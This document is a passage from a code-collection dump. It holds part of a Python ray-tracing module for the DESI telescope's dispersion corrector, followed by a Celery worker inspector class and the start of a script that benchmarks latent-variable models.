len(data[irow])):\n data[irow][jcol] = data[irow][jcol].strip() # unnecessary from Excel\n # print \"Initial nrows = \", len(data)\n\n # delete all empty rows: crucial if empty rows are mixed into the .csv file\n initialLength = len(data)\n for irow in range(initialLength-1, 0, -1): # don't eliminate title row even if empty\n if isEmpty(data[irow]):\n del data[irow]\n # print \"After removing empties, nrows = \", len(data)\n if len(data) < 1:\n print(\"Nothing left to return. Quitting this file.\")\n return data\n\n # get number of fields from longest row that holds any actual data\n nfields = 0\n for irow in range(0, len(data)):\n for jcol in range(0, len(data[irow])):\n if len(data[irow][jcol]) > 0:\n nfields = max(nfields, jcol+1)\n # print \"Nfields = \", nfields\n if nfields < 1:\n print(\"Nfields is < 1. Quitting this file.\")\n return data\n\n # make all rows have nfields by appending empty fields where needed.\n for irow in range(len(data)):\n data[irow] = data[irow][:nfields] # truncate beyond nfields\n while len(data[irow]) < nfields: # append empty fields\n data[irow].append(\"\")\n\n return data\n \n\n#-------RAY TRACING SPECIFIC FILE TYPE UNPACKERS----------\n\ndef getOpticsCSV(optname):\n # puts user CSV data into a global list \"Odata\" \n global Onfields, Nsurfs, Oarray, OglassNames, OneedsMedia, OhasAnySags, Oheaders, Ojmirror, Ojfocal\n # print(optname)\n if len(optname) < 4:\n print(\"Optics table was not found, but is mandatory. Quitting.\")\n quit()\n data = unpackCSV(optname) \n \n nrows = len(data)\n ncols = len(data[0])\n # print('getOpticsCSV() has nrows, ncols = ', nrows, ncols)\n # for item in data:\n # print(item)\n if nrows < 3 or ncols < 2:\n print(myMedFileName, \" has returned no usable data. Quitting.\")\n quit() \n \n Onfields = ncols\n Nsurfs = nrows - 2\n guideNumber = suckInt(data[0][0])\n # print \"Optics guideNumber = \", guideNumber\n if guideNumber>0:\n Nsurfs = min(Nsurfs, guideNumber)\n Ojfocal = Nsurfs\n # print(\" getOpticsCSV() is setting Ojfocal = Nsurfs = \", Ojfocal)\n Oheaders = data[1]\n if Onfields<1 or Nsurfs < 1:\n print(optname, ' has no data available. Quittimg.')\n quit()\n Oarray = np.zeros([Nsurfs+1, OFINAL]) # rebuild host Oarray\n Oarray.fill(-0.0)\n \n #---set up complete empty lists------------\n OneedsMedia = False\n del OglassNames[:]\n OglassNames.append(\"base=1\")\n for k in range(1, Nsurfs+1):\n OglassNames.append(\"\")\n\n #-----set literal and numerical OpticsData() field by field--------\n for ifield in range(0, Onfields):\n header = data[1][ifield]\n attrib = getOpticsAttribute(header)\n if attrib == OINDEX: # literal not numerical\n for jsurf in range(1, Nsurfs+1): # jsurf=1, 2, ...Nsurfs\n snippet = data[jsurf+1][ifield]\n OglassNames[jsurf] = snippet \n if len(snippet) > 0:\n try:\n x = float(snippet) # if not numeric,\n except: # will need a .MED lookup table.\n OneedsMedia = True\n elif attrib == OACTIONTYPE:\n for jsurf in range(1, Nsurfs+1):\n snippet = data[jsurf+1][ifield]\n iaction = getActionType(snippet) # returns an action code number\n Oarray[jsurf, OACTIONTYPE] = iaction\n if iaction == OMIRRORACTION:\n # print(' getOpticsCSV() is setting Ojmirror = ', jsurf)\n Ojmirror = jsurf\n elif attrib>=0 and attrib<OMAXINPUT: # numerical data fields including SAGMULT etc\n # if attrib in (26,27,28,29): # sag attribute range\n # print \"++++++++Parsing attribute number \", attrib\n for jsurf in range(1, Nsurfs+1): # jsurf=1, 2, ...Nsurfs\n snippet = data[jsurf+1][ifield]\n x = -0.0\n if len(snippet) > 0:\n try:\n x = float(snippet)\n except ValueError:\n x = -0.0\n Oarray[jsurf, attrib] = x \n\n #---For each surface: any need polynomials?-----\n del OhasPoly[:] # empty the host list\n OhasPoly.append(\"base=1\") # 1-based to match jsurf\n for jsurf in range(1, Nsurfs+1): # jsurf = 1, 2, ...Nsurfs\n numPoly = 0 # poly search\n for index in range(OA1, OA14+1):\n if Oarray[jsurf, index] != 0.0: \n numPoly += 1 \n if numPoly>0:\n OhasPoly.append(True) # 1-based list like jsurf\n else:\n OhasPoly.append(False)\n\n #----evaluate all the Euler matrices----\n setEulers()\n \n \ndef getRaysCSV(rayname, maxrays): # sets up Raystarts[], Rarray[] etc\n # Be sure to getOpticsCSV() first! since this needs to know Nrays. ?????\n global Rnfields, Nrays, Rarray, Raystarts, Rheaders, RwaveNames\n # print(rayname)\n if len(rayname) < 4:\n print(\" Ray table was not found, but is mandatory. Quitting.\")\n quit()\n \n data = unpackCSV(rayname)\n nrows = len(data)\n ncols = len(data[0])\n # print('getRaysCSV() has nrows, ncols = ', nrows, ncols)\n # for item in data:\n # print(item)\n if nrows < 3 or ncols < 2:\n print(myMedFileName, \" has returned no usable data. Quitting.\")\n quit() \n \n Rnfields = ncols\n Rheaders = data[1]\n Nrays = len(data) - 2 \n Nrays = min(Nrays, maxrays) # limit the table to get monochromatic ray starts \n guideNumber = suckInt(data[0][0])\n # print(\" Rays guideNumber = \", guideNumber)\n if guideNumber>0:\n Nrays = min(Nrays, guideNumber)\n\n if Rnfields<1 or Nrays < 1:\n print(rayname, ' has no data available. Quitting.')\n quit()\n \n #---set Raystarts[iray,attrib] field by field-------\n # print 'Creating and Setting Raystarts[iray,attrib]'\n Raystarts = np.zeros([Nrays+1, RFINALINPUT+1]) # base=1, base=0\n Raystarts.fill(-0.0)\n del RwaveNames[:]\n del RFtoI[:]\n del RItoF[:]\n RwaveNames.append(\"base=1\") # numbering 1...Nrays inclusive\n for iray in range(1, Nrays+1):\n RwaveNames.append(\" \") # start with all blanks\n \n for ifield in range(0, Rnfields):\n header = data[1][ifield]\n attrib = getRayStartAttribute(header)\n RFtoI.append(attrib)\n if attrib == RWAVE: # this is the \"@wave\" field\n for iray in range(1, Nrays+1):\n snippet = data[iray+1][ifield] # for example \"i\" for 365nm\n RwaveNames[iray] = snippet # put snippet int RwaveNames.\n if attrib>=0 and attrib<=RFINALINPUT: # X0,Y0,Z0,U0,V0,W0,XG,YG\n # found a ray start column in ray table.\n for iray in range(1, Nrays+1):\n snippet = data[iray+1][ifield]\n Raystarts[iray, attrib] = getFloatValue(snippet)\n \n # -----Next set up Rarray[]------- \n Rarray = np.zeros([Nrays+1, Nsurfs+1, RFINAL])\n # print(' Rarray.shape = ', Rarray.shape) # expect {Nrays+1, Nsurfs+1, 13}\n Rarray.fill(-0.0) # -0.0 means empty field\n for iray in range(1, Nrays+1): \n #----Fill Rarray[0] based on table RayStarts----------\n # printArray('Raystarts ', Raystarts[iray])\n Rarray[iray, 0, RWAVE] = Raystarts[iray, RWAVE] \n X = Rarray[iray, 0, RX] = Raystarts[iray, RX]\n Y = Rarray[iray, 0, RY] = Raystarts[iray, RY]\n Z = Rarray[iray, 0, RZ] = Raystarts[iray, RZ]\n U = Rarray[iray, 0, RU] = Raystarts[iray, RU]\n V = Rarray[iray, 0, RV] = Raystarts[iray, RV]\n W = Rarray[iray, 0, RW] = Raystarts[iray, RW]\n W = Rarray[iray, 0, RW] = fixup(U,V,W)\n \n #---evaluate lookup table RItoF[]-----------\n del RItoF[:]\n for attrib in range(RX, RFINALINPUT+1):\n try:\n field = RFtoI.index(attrib)\n except ValueError:\n field = -1\n RItoF.append(field)\n\n \ndef getMediaCSV(myMedFileName):\n global Marray, Nglasses, MwaveNames, MglassNames, OglassNames, RwaveNames \n # print(myMedFileName)\n if len(myMedFileName) < 4:\n print('valid media table was not found. Quitting.')\n quit()\n data = unpackCSV(myMedFileName)\n nrows = len(data)\n ncols = len(data[0])\n # print('getMediaCSV() has nrows, ncols = ', nrows, ncols)\n # for item in data:\n # print(item)\n if nrows < 3 or ncols < 2:\n print(myMedFileName, \" has returned no usable data. Quitting.\")\n quit()\n guideNumber = suckInt(data[0][0])\n # print('guideNumber = ', guideNumber) \n nrows = nrows - 1 # avoids title row, includes wavelength header row\n Nglasses = min(nrows-1, guideNumber)\n if Nglasses < 1:\n print('getMediaCSV() finds no glasses. Quitting.')\n quit() \n # print('now, after min(), Nglasses including dummy = ', Nglasses)\n Mnfields = len(data[1])\n # print('Mnfields from HEADERROW is... ', Mnfields)\n if Mnfields<1 or Nglasses<1:\n print(medianame, \" has no data available. Quitting.\")\n quit()\n # print('Mnfields = ', Mnfields)\n nwaves = Mnfields - 1 # column zero is glassname, not index\n # print('nwaves = ', nwaves)\n #---get the glass names first. These are in table column zero----------------\n del MglassNames[:] # empty the host list\n MglassNames.append(\"base=1\") # using base=1 so this is a dummy\n for kglass in range(1, Nglasses+1): # glasses are 1....Nglasses\n row = kglass + 1 # glass #1 is in row 2. \n snippet = data[row][0] # rows are 0....Nglasses\n MglassNames.append(snippet)\n # print('Here are the MEDIA glassnames including dummy: ', MglassNames) \n \n #-----next, gather the wavelength names from header row 1, columns 1...Nwaves----\n del MwaveNames[:] # empty the host list\n MwaveNames.append(\"base=1\") # base=1\n for ifield in range(1, nwaves+1): \n wavename = data[1][ifield] # HEADERROW is row=1\n MwaveNames.append(wavename) \n # print('Here are the MEDIA wave names including dummy: ', MwaveNames) \n \n #----Now get the refractive indices data[][] field by field---------\n Marray = np.zeros([Nglasses+1, Mnfields+1]) # both have base=1\n Marray.fill(-0.0) \n for kglass in range(1, Nglasses+1): # row by row, base=1\n row = kglass + 1 # glass #1 is in row 2\n for ifield in range(1, nwaves+1): # column by column, base=1\n snippet = data[row][ifield]\n x = -0.0\n if len(snippet) > 0:\n try:\n x = float(snippet)\n except ValueError:\n x = -0.0\n Marray[kglass, ifield] = x\n \n #-------check to see that all needed .OPT glass names are present-------------\n for iglass in range(1, Nsurfs+1): # skip base=0\n glassname = OglassNames[iglass]\n if len(glassname)>0 and not glassname in MglassNames:\n print(' Failed to find .OPT glass name among MEDIA: ', glassname, ' Quitting.')\n quit()\n \n #-------check to see that all needed .RAY wavelength names are present-----------\n for i in range(1, Nrays+1): #skip base=0\n wavename = RwaveNames[i]\n if not wavename in MwaveNames:\n print(' Failed to find .RAY wave name among MEDIA: ', wavename, ' Quitting.')\n quit()\n \n\n \n \n \n \n \n \n#----RAY TRACE METHODS---------------- \n#----RAY TRACE METHODS---------------- \n#----RAY TRACE METHODS---------------- \n \ndef modifyADC(adc1, adc2): \n global Oarray\n # for use with DESI-ADC.OPT: 26 surfaces like DESI-E2E.OPT \n # Surfaces are numbered base=1: there is no surface zero.\n # CBout row 11 then ADC1 then CBout row 15 \n # CBout row 17 then ADC2 then CBout row 21.\n # Call this only after .OPT table has been loaded & parsed.\n # get no disperion if adc1 = adc2: same roll angle.\n # New: Southern sky max dispersion if adc1=-90, adc2=+90\n # New: Northern sky max dispersion if adc1=+90, adc2=-90\n # these indices are for DESI-ADC.OPT\n Oarray[11, OROLL] = -adc1 # CBout\n Oarray[15, OROLL] = adc1 # CBout\n Oarray[17, OROLL] = -adc2 # Cbout\n Oarray[21, OROLL] = adc2 # CBout\n setEulers()\n \n\ndef modifyWaveName(wavename):\n global RwaveNames\n # Replaces RayTable Rwavenames with this user supplied wavename\n # Often these are Fraunhofer letters 'i' ... 't'\n for iray in range(1, Nrays+1): # ray table is base=1\n RwaveNames[iray] = wavename\n\ndef prepForcedRayGroup(wuv): \n # {w,u,v} = {wavelength number, Uincoming, Vincoming}\n # Steers all table rays that were installed in getRayCSV().\n # Afffects Rarray[] but not Raystarts[]\n # print('prepForcedRayGroup has received Nrays = ', Nrays)\n # printArray('prepForcedRayGroup wuv = ', wuv)\n waveID = int(wuv[0]) # base=0\n waveName = FraunhoferLetters[waveID]\n modifyWaveName(waveName)\n for iray in range(1, Nrays+1): # base=1\n U = Rarray[iray, 0, RU] = wuv[1]\n V = Rarray[iray, 0, RV] = wuv[2] \n W = Rarray[iray, 0, RW]\n # print('UVW = {:12.6f}{:12.6f}{:12.6f}'.format(U,V,W))\n Rarray[iray, 0, RW] = fixup(U,V,W)\n \ndef runOneRay(iray):\n # THIS IS THE INNER LOOP given a single ray start 1 <= iray <= Nrays\n # uses Rarray[iray, 0] to get starting coordinates, \n # so be sure to prep Rarray[] and prepForcedRayGroup() before calling this method.\n howfar = 0 \n code = OK\n for jtarget in range(1, Nsurfs+1): # base=1\n isCBout = OCBOUTACTION == int(Oarray[jtarget, OACTIONTYPE])\n if isCBout:\n vxtovx(iray, jtarget) \n vxtolab(iray, jtarget)\n howfar = jtarget\n continue\n labtovx(iray, jtarget)\n code = intercept(iray, jtarget)\n if code == OK:\n code = validate(iray, jtarget)\n if code == OK:\n code = redirect(iray, jtarget)\n if code == OK:\n howfar = jtarget\n vxtolab(iray, jtarget) \n if code != OK:\n break\n testUVW(iray, jtarget)\n return howfar\n\n \ndef runAllTableRays(): \n # THIS IS THE OUTER LOOP that builds [Xfinal, Yfinal, Zfinal, waveNum]\n # Return each table ray result [X0, Y0, Xf, Yf, c] global CS-5 coordinates\n # Assumes all tables have been set up.\n xyzcList = [] # list to gather outputs\n for iray in range(1, Nrays+1): # base=1\n howfar = runOneRay(iray) # calls inner loop\n if howfar == Nsurfs: # this is a \"good\" ray\n xf = Rarray[iray, Nsurfs, RX] # gather ray trace result\n yf = Rarray[iray, Nsurfs, RY] # gather ray trace result\n zf = Rarray[iray, Nsurfs, RZ] # gather ray trace result\n \n letter = RwaveNames[iray] # get waveNum, 0..7 inclusive\n cint = letter2index(letter)\n \n cf = float(cint) # float to allow array()\n xyzc = [xf,yf,zf,cf] # List of four numbers\n xyzcList.append(xyzc) # stack it into output\n nrows = len(xyzcList)\n if nrows < 2:\n print('RT finds fewer than two good rays. Quitting.')\n quit()\n xyzcArray = np.array((xyzcList)) \n return xyzcArray\n \n \n\n\n\n\n\n\n\n\n#-------RAY TRACING OUTPUT GENERATORS-------------------------\n\n\n\ndef doSpotDiagram(xyzcArray, title, u0, v0, adc1, adc2): \n # This plot ignores zfinal; plots xf,yf with specified color\n # Here, c = float color ID: 1.0, 2.0, ... 8.0\n nrays = len(xyzcArray)\n if nrays < 1:\n print('Yikes, spotDiagram() has received no rays. Quitting.')\n quit()\n ngood = nrays\n # print('RT184 doSpotDiagram() has received nrays = ', nrays)\n \n xvals = xyzcArray[:,0] # all rows column 0 = xfinal\n yvals = xyzcArray[:,1] # all rows column 1 = yfinal\n cvals = xyzcArray[:,3] # all rows column 3 = wavenums: 0.0, 1.0, 2.0, ...\n \n xave = np.average(xvals)\n yave = np.average(yvals)\n xrms = np.std(xvals)\n yrms = np.std(yvals)\n xmax = np.amax(xvals)\n xmin = np.amin(xvals)\n xmid = 0.5*(xmax+xmin)\n xspan = xmax - xmin\n ymax = np.amax(yvals)\n ymin = np.amin(yvals)\n ymid = 0.5*(ymax + ymin)\n yspan = ymax - ymin\n MINSPAN = 0.1 # 0.1mm or 100um\n EXTRA = 1.1\n span = max(MINSPAN, EXTRA*max(xspan, yspan))\n half = 0.5*span \n \n colors = list()\n for iray in range(nrays):\n icolor = int(cvals[iray])\n plotcolor = PLOTCOLORS[icolor]\n colors.append(plotcolor)\n\n fig, ax = plt.subplots(figsize=(6,6)) # yes plural even for one plot\n ax.tick_params(direction='in') \n ax.scatter(xvals, yvals, c=colors) # plot the dots\n \n ax.set_xlabel('Xfp, mm, +eastward')\n ax.set_ylabel('Yfp, mm, +southward')\n ax.axis('equal') # equal x and y display scales, or see span generator below\n # title = 'U0, V0 = {:+12.6f}{:+12.6f}'.format(u0, v0)\n plt.title(title) \n\n # print('SpotDiagram scaled span = {:9.3f}'.format(span))\n ax.set_xlim(xmid-half, xmid+half)\n ax.set_ylim(ymid-half, ymid+half) \n \n for i in range(NWAVES): # base=0\n item = FraunhoferLetters[i] + ' ' + str(FraunhoferNanometers[i]) + 'nm'\n ax.text(0.86, 0.96-0.03*i, item, transform=ax.transAxes, fontsize=8, color=PLOTCOLORS[i]) \n\n u0string = 'U0 = {:9.6f}'.format(u0)\n v0string = 'V0 = {:9.6f}'.format(v0)\n ngoodstring = 'Ngood = ' + str(ngood)\n xAVEstring = 'Xave = {:9.3f}'.format(xave)\n yAVEstring = 'Yave = {:9.3f}'.format(yave)\n xRMSstring = 'Xrms = {:9.3f}'.format(xrms)\n yRMSstring = 'Yrms = {:9.3f}'.format(yrms)\n intspanum = int(1000*span)\n spanstring = 'PlotSpan = '+str(intspanum) + r'$\\mu$m'\n\n ax.text(0.02, 0.96, ngoodstring, transform=ax.transAxes, fontsize=8) \n ax.text(0.02, 0.93, xAVEstring, transform=ax.transAxes, fontsize=8) \n ax.text(0.02, 0.90, yAVEstring, transform=ax.transAxes, fontsize=8) \n ax.text(0.02, 0.87, xRMSstring, transform=ax.transAxes, fontsize=8) \n ax.text(0.02, 0.84, yRMSstring, transform=ax.transAxes, fontsize=8) \n ax.text(0.02, 0.81, spanstring, transform=ax.transAxes, fontsize=8) \n \n ax.text(0.87, 0.02, PROGNAME, transform=ax.transAxes, fontsize=8) \n fig.tight_layout()\n \n # CAUTION LATEX FIGURE FILENAMES FORBIDS MOST PUNCTUATION AND SPACES\n # period is OK before suffix but nowhere else: NO DECIMAL POINTS darn it. \n # However, plus, minus, equals, underscores are OK.\n # To eliminate this trouble I use tiny unit integers: no decimal points needed. \n\n ustring = '{:+10.0f}'.format(1000000*u0).strip() # micro radians\n vstring = '{:+10.0f}'.format(1000000*v0).strip() # micro radians\n figfilename = title + '.png' \n print('Saving... ' +figfilename)\n fig.savefig(figfilename, dpi=300)\n plt.close(fig)\n \n \n\"\"\"\ndef showStatistics(xyzcArray, u0, v0): \n ngood = len(xyzcArray)\n xvals = xyzcArray[:,0] # all rows column 0 = xfinal\n yvals = xyzcArray[:,1] # all rows column 1 = yfinal\n zvals = xyzcArray[:,2] # all rows column 2 = zfinal\n xave = np.average(xvals)\n yave = np.average(yvals)\n zave = np.average(zvals)\n xrms = np.std(xvals)\n yrms = np.std(yvals)\n zrms = np.std(zvals)\n result = '{:+10.6f}{:+10.6f}{:8d}{:+10.3f}{:+10.3f}{:+10.3f}{:+10.3f}{:+10.3f}{:+10.3f}' \\\n .format( u0, v0, ngood, xave, yave, zave, xrms, yrms, zrms)\n print(result) \n \ndef getSevenStatistics(xyzcArray): \n print('getStatistics has received xyzcArray.shape = ', xyzcArray.shape) \n ngood = 1.0*len(xyzcArray)\n xvals = xyzcArray[:,0] # all rows column 0 = xfinal\n yvals = xyzcArray[:,1] # all rows column 1 = yfinal\n zvals = xyzcArray[:,2] # all rows column 2 = zfinal\n print('getStatistics has extracted xvals.shape = ', xvals.shape)\n print('these xvals are...', xvals)\n xave = np.average(xvals)\n yave = np.average(yvals)\n zave = np.average(zvals)\n xrms = np.std(xvals)\n yrms = np.std(yvals)\n zrms = np.std(zvals)\n result = [ngood, xave, yave, zave, xrms, yrms, zrms]\n return np.array((result))\n\"\"\" \n \n \n \n \n \n \n \n \n \n#------FUNCTION FOR EXTERNAL (END-TO-END) CALLS in e2e-25.py ----------------\n\n\ndef getNine(wuv12s):\n global Nsurfs, Nrays, Nglasses\n # for one star, one wuv, specified wavelength\n # Monochromatic: just one row of {waveNo, U0, V0, adc1, adc2}\n # Polychromatic: 8 rows of 5 columns\n \n #--------set up the optics, rays, and media files--------------\n myOptFileName = 'DESI-ADC-2.OPT.CSV' # Hexapod roll row 4; ADC rolls CBouts at row 11,15,17,21\n myRayFileName = 'DESI-ADC-2.RAY.CSV' # on axis; 84 rays per pupil, only 84 rays used.\n myMedFileName = 'DESI-ADC-2.MED.CSV' # 8 glasses, 8 wavels' i'...'t'\n # print(\"Loading files: \" + myOptFileName + ' ' + myRayFileName + ' ' + myMedFileName)\n getOpticsCSV(myOptFileName) # set up optical prescription\n if Nsurfs < 1:\n print(' Nsurfs < 1; quitting.')\n quit()\n getRaysCSV(myRayFileName, 84) # set up Raystarts[] and Rarray[]; 84 forces monochromatic\n if Nrays < 1:\n print(' Nrays < 1; quitting.')\n quit()\n getMediaCSV(myMedFileName) # set up internal glass refraction table\n if Nglasses < 1:\n print(' Nglasses < 1; quitting.')\n quit()\n \n # Next study our wuv12s: monochromatic, or polychromatic?\n # print('RT184 has received these wuv12s: \\n', wuv12s) \n size = wuv12s.size\n nwavels = size // 5\n print('RT185:getNine is given wuv12s.size = ', size)\n print('so RT185:getNine has adoptec nwavels = ', nwavels)\n if size < 5:\n print('RT185:getNine quitting; wuv12s.size = ', size)\n quit()\n if size == 5: # enlarge to 2D array for indexing\n wuv12s = np.vstack((wuv12s, np.array([0.,0.,0.,0.,0.])))\n adc1 = wuv12s[0,3] # get the 4th element\n adc2 = wuv12s[0,4] # get the 5th element\n # print('RT185:getNine is passing the two ADC angles: ', adc1, adc2)\n modifyADC(adc1, adc2) # use them\n \n # Next work through the specified wavelengths\n xlist = []\n ylist = []\n zlist = []\n ngood = 0.0\n for iwave in range(nwavels):\n wuv = wuv12s[iwave,:3] # first three elements 0, 1, 2 \n prepForcedRayGroup(wuv) # use these {wavels, U0, V0} \n xyzcArray = runAllTableRays() # run this wavelength on this target; get 84rows, 4cols\n\n #-------statistics() calls here-----------\n # print('getNine has received xyzcArray.shape = ', xyzcArray.shape) \n ngood += 1.0*len(xyzcArray)\n xlist.append(xyzcArray[:,0]) # all rows column 0 = xfinal\n ylist.append(xyzcArray[:,1]) # all rows column 1 = yfinal\n zlist.append(xyzcArray[:,2]) # all rows column 2 = zfinal\n print('RT185:getNine has extracted len(xlist) = ', len(xlist))\n xave = np.average(xlist)\n yave = np.average(ylist)\n zave = np.average(zlist)\n xrms = np.std(xlist)\n yrms = np.std(ylist)\n zrms = np.std(zlist)\n resultstr = '{:9.3f}{:9.3f}{:6.0f}{:9.3f}{:9.3f}{:9.3f}{:9.3f}{:9.3f}{:9.3f}'.format(adc1, adc2, ngood, xave, yave, zave, xrms, yrms, zrms)\n print('RT185:getNine: ', resultstr)\n resultArray = np.array([adc1, adc2, ngood, xave, yave, zave, xrms, yrms, zrms])\n return resultArray\n\n \n \n\"\"\"\ndef getSeven(starnumber, wuv12s):\n ndim = np.asarray(wuv12s).ndim\n if ndim == 0:\n print(\"Quitting, no rays. \")\n quit()\n if ndim == 1:\n return getSevenMono(starnumber, wuv12s)\n else:\n return getSevenPoly(starnumber, wuv12s)\n \n\ndef getSevenPoly(starnumber, wuv12s): \n global Nsurfs, Nrays, Nglasses\n # star number is just an output key\n # Polychromatic: Each row of wuv12s array is: {waveNo, U0, V0, adc1, adc2}\n # so, 8 rows of 5 columns\n nwaves = len(wuv12s) # 8 rows \n print('nwaves = ', nwaves)\n if nwaves < 1:\n print('getResultsOneStar(): no rays. Quitting.')\n quit()\n #--------set up the optics, rays, and media files--------------\n myOptFileName = 'DESI-ADC.OPT.CSV' # Hexapod roll row 4; ADC rolls CBouts at row 11,15,17,21\n myRayFileName = 'DESI-ADC.RAY.CSV' # on axis; 84 rays per pupil, only 84 rays used.\n myMedFileName = 'DESI-ADC.MED.CSV' # 8 glasses, 8 wavels' i'...'t'\n # print(\"Loading files: \" + myOptFileName + ' ' + myRayFileName + ' ' + myMedFileName)\n getOpticsCSV(myOptFileName) # set up optical prescription\n if Nsurfs < 1:\n print(' Nsurfs < 1; quitting.')\n quit()\n getRaysCSV(myRayFileName, 84) # set up Raystarts[] and Rarray[]; 84 forces monochromatic\n if Nrays < 1:\n print(' Nrays < 1; quitting.')\n quit()\n getMediaCSV(myMedFileName) # set up internal glass refraction table\n if Nglasses < 1:\n print(' Nglasses < 1; quitting.')\n quit()\n # now specialize the table for 8 monochromatic runs with 8 {u,v} pairs, one per wavelength\n # Trick here is to concatenate eight 84x4 subLists into a bigList\n\n xyzcBigList = [] # Start with empty polychromatic list\n for iwave in range(NWAVES): # trace each wavelength from dispersed sky; base=0\n wuv12 = wuv12s[iwave] # {waveno, U0, V0} triplet; wuvs are base=1\n adc1 = wuv12[3] # get the 4th element\n adc2 = wuv12[4] # get the 5th element\n modifyADC(adc1, adc2) # use them\n wuv = wuv12[:3] # first three elements 0, 1, 2 \n prepForcedRayGroup(wuv) # use these {wavels, U0, V0} \n \n xyzcArray = runAllTableRays() # run this wavelength on this target; get 84rows, 4cols\n xyzcSubList = xyzcArray.tolist() \n xyzcBigList += xyzcSubList # extending not appending: makes the list taller.\n xyzcArray = np.array(xyzcBigList) # convert to an array\n #--------SpotDiagram() and getStatistics() calls here-----------\n adc1str = '{:+6.0f}'.format(adc1).strip()\n adc2str = '{:+6.0f}'.format(adc2).strip()\n u0 = wuv12s[4][1] # R band wavelength\n v0 = wuv12s[4][2] # R band wavelength\n title = PROGNAME+'_'+str(starnumber) + '_' + adc1str+'_'+adc2str\n print('RT184 is writing.... ' + title + '.png')\n doSpotDiagram(xyzcArray, title, u0, v0, adc1, adc2)\n return getSevenStatistics(xyzcArray)\n\n\ndef getSevenMono(starnumber, wuv12): \n global Nsurfs, Nrays, Nglasses\n # star number is just an output key\n # Monochromatic: just one row of {waveNo, U0, V0, adc1, adc2}\n # so, 8 rows of 5 columns\n printArray('RT184 has received this wuv12: \" ', wuv12)\n\n #--------set up the optics, rays, and media files--------------\n myOptFileName = 'DESI-ADC.OPT.CSV' # Hexapod roll row 4; ADC rolls CBouts at row 11,15,17,21\n myRayFileName = 'DESI-ADC.RAY.CSV' # on axis; 84 rays per pupil, only 84 rays used.\n myMedFileName = 'DESI-ADC.MED.CSV' # 8 glasses, 8 wavels' i'...'t'\n # print(\"Loading files: \" + myOptFileName + ' ' + myRayFileName + ' ' + myMedFileName)\n getOpticsCSV(myOptFileName) # set up optical prescription\n if Nsurfs < 1:\n print(' Nsurfs < 1; quitting.')\n quit()\n getRaysCSV(myRayFileName, 84) # set up Raystarts[] and Rarray[]; 84 forces monochromatic\n if Nrays < 1:\n print(' Nrays < 1; quitting.')\n quit()\n getMediaCSV(myMedFileName) # set up internal glass refraction table\n if Nglasses < 1:\n print(' Nglasses < 1; quitting.')\n quit()\n adc1 = wuv12[3] # get the 4th element\n adc2 = wuv12[4] # get the 5th element\n modifyADC(adc1, adc2) # use them\n wuv = wuv12[:3] # first three elements 0, 1, 2 \n prepForcedRayGroup(wuv) # use these {wavels, U0, V0} \n xyzcArray = runAllTableRays() # run this wavelength on this target; get 84rows, 4cols\n #--------SpotDiagram() and getStatistics() calls here-----------\n adc1str = '{:+6.0f}'.format(adc1).strip()\n adc2str = '{:+6.0f}'.format(adc2).strip()\n u0 = wuv12[1]\n v0 = wuv12[2]\n title = PROGNAME+'_'+str(starnumber) + '_' + adc1str+'_'+adc2str\n print('RT184 is writing.... ' + title + '.png')\n doSpotDiagram(xyzcArray, title, u0, v0, adc1, adc2)\n return getSevenStatistics(xyzcArray)\n\"\"\"\n","repo_name":"desihub/desimeter","sub_path":"py/desimeter/transform/tan2fp/raytrace/RT185v2.py","file_name":"RT185v2.py","file_ext":"py","file_size_in_byte":67770,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"31820395909","text":"import asyncio\nimport logging\nimport time\nfrom collections import defaultdict\nfrom typing import Any, Dict, Optional\n\nfrom celery import Celery\n\nlogger = logging.getLogger(__name__)\n\n\nclass Inspector:\n \"\"\"Celery worker inspector object.\n Keeps track of worker stats and contains methods to retrieve stats.\n \"\"\"\n\n methods = (\n \"active\",\n \"active_queues\",\n \"conf\",\n \"registered\",\n \"reserved\",\n \"revoked\",\n \"scheduled\",\n \"stats\",\n )\n\n def __init__(self, celery_app: Celery, timeout: int = 5):\n \"\"\"Initializer for the Inspector object.\n :param celery_app: An instance of the Celery class\n :param timeout: Timeout for retrieving stats on celery workers\n \"\"\"\n self._app = celery_app\n self._timeout = timeout\n self._workers = defaultdict(dict)\n\n @property\n def workers(self):\n return self._workers\n\n async def inspect_worker(self, workername: Optional[str] = None):\n dest = [workername] if workername else None\n methods = (self._inspect(method, dest) for method in self.methods)\n\n return await asyncio.gather(*methods, return_exceptions=True)\n\n async def _inspect(self, method: str, dest: str) -> None:\n loop = asyncio.get_running_loop()\n inspect = self._app.control.inspect(timeout=self._timeout, destination=dest)\n\n start = time.time()\n # Send debug message and run blocking inspection in another thread\n logger.debug(f\"{dest}: Sending {method} inspect command\")\n result = await loop.run_in_executor(None, getattr(inspect, method))\n logger.debug(f\"{dest}: Command {method} took {time.time() - start}\")\n\n # Update internal worker dictionary\n for dest, response in result.items():\n if response is not None:\n info = self._workers[dest]\n info[method] = response\n info[\"timestamp\"] = time.time()\n\n return self.workers[dest] if dest else self.workers\n\n async def inspect_tasks(self, *ids: str) -> Dict[str, Any]:\n loop = asyncio.get_running_loop()\n inspect = self._app.control.inspect(timeout=self._timeout)\n\n start = time.time()\n # Send debug message and run blocking inspection in another thread\n logger.debug(f\"Querying task(s): {', '.join(ids)}\")\n result = await loop.run_in_executor(None, inspect.query_tasks, *ids)\n logger.debug(f\"Query took {time.time() - start} seconds\")\n\n return result\n","repo_name":"jmehrs/ptera","sub_path":"backend/app/app/core/inspector.py","file_name":"inspector.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17877302618","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.metrics import r2_score, mean_squared_error\nimport logging\nlogging.basicConfig(format=\"%(asctime)s - %(levelname)s - %(message)s\", level=logging.INFO)\nfrom sklearn.decomposition import PCA\nfrom sklearn.manifold import SpectralEmbedding, Isomap\nimport GPy\nimport time\nimport argparse\n\nfrom ikd import utils, core, evaluate, datasets\n\n\n# fixed settings\nd_latent = 3\nn_points = 100\nvariance = 1\nlength_scale = 0.5\nn_trials = 50\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('dataset', type=int)\nparser.add_argument('kernel_idx', type=int)\nparser.add_argument('d_observation_idx', type=int)\nparser.add_argument('method_idx', type=int)\nargs = parser.parse_args()\nif args.kernel_idx == 0:\n kernel = \"squared exponential\"\n extra_kernel_hyperparam = None\n gplvm_kernel = GPy.kern.RBF(d_latent, variance=1, lengthscale=1)\nelif args.kernel_idx == 1:\n kernel = \"rational 